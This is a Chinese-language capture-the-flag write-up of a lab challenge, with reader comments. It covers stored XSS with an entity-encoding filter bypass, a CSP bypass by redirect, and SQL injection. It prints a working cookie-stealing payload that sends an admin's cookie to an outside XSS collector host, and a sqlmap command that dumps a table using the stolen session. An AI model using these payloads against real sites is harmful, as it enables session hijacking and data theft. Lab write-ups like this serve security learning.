5am3 师傅出的题目~
知识点:
1、储存型 XSS 与过滤绕过
2、SQL 注入
1、打开靶机,是这样一个页面。

2、随便点个投稿或者反馈啥的,要先注册登录。


3、然后点击投稿,是这样一个界面。

上面提示可以反馈让管理员来看,目测是 XSS 了。
4、然后看看反馈界面。

XSS 石锤了。
5、回到投稿界面,不断 fuzz,然后发现如下的 payload 能打上去。这里用到的 payload 是 eval,由于这玩意儿有”waf“,里面的所有东西和外面的括号都得转个码,那就用 HTML Markup 来转吧。
HTML Markup: https://www.w3.org/MarkUp/html-spec/html-spec_13.html
写了个 Python 小脚本来生成 payload:
in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"
output = ""
for c in in_str:
output += "&#" + str(ord(c))
print("<svg><script>eval("" + output + "")</script>")
得到 Payload 如下:
<svg><script>eval("(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();")</script>
和之前 DDCTF 遇到的那个题有一点点不同,这里有 CSP,但可以直接用跳转绕过。
6、打上去,发现可以正常执行。

7、然后把这个地址到反馈那里提交。
祭出祖传算 MD5 脚本来算一算验证码。
import hashlib
for i in range(1, 10000001):
s = hashlib.md5(str(i)).hexdigest()[0:6]
if s == "f3ff5e":
print(i)
break

8、然后去收下 XSS。

9、置管理员 cookie,猜测后台路径,发现 /admin.php 能访问。


10、测一下,发现应该是有 sql 注入的。

11、那直接 sqlmap 跑跑试试。
sqlmap -u "http://web59.buuoj.cn/admin.php?id=4" --cookie="PHPSESSID=cf49a9a60da9cc1b547ab98d549ba038" -T flag --dump --flush-session --fresh-queries

12、Flag 到手~
9 个评论
范明明
无意中进入大佬网站,完全看不懂啊。
glzjin
跟着做做也蛮有意思的~
111
那也看不懂啊
ccc
找到榜样了!!!!
s1mple
赵总好
小张
刚看完大佬的讲座视频,过来膜拜一波
XSS培训进阶 – 0xdawn's blog
[…] https://www.zhaoj.in/read-6100.html […]
十六
为什么我xss平台接不到admin的访问记录啊 我完全跟着wp做的
glzjin
请再试试,谢谢。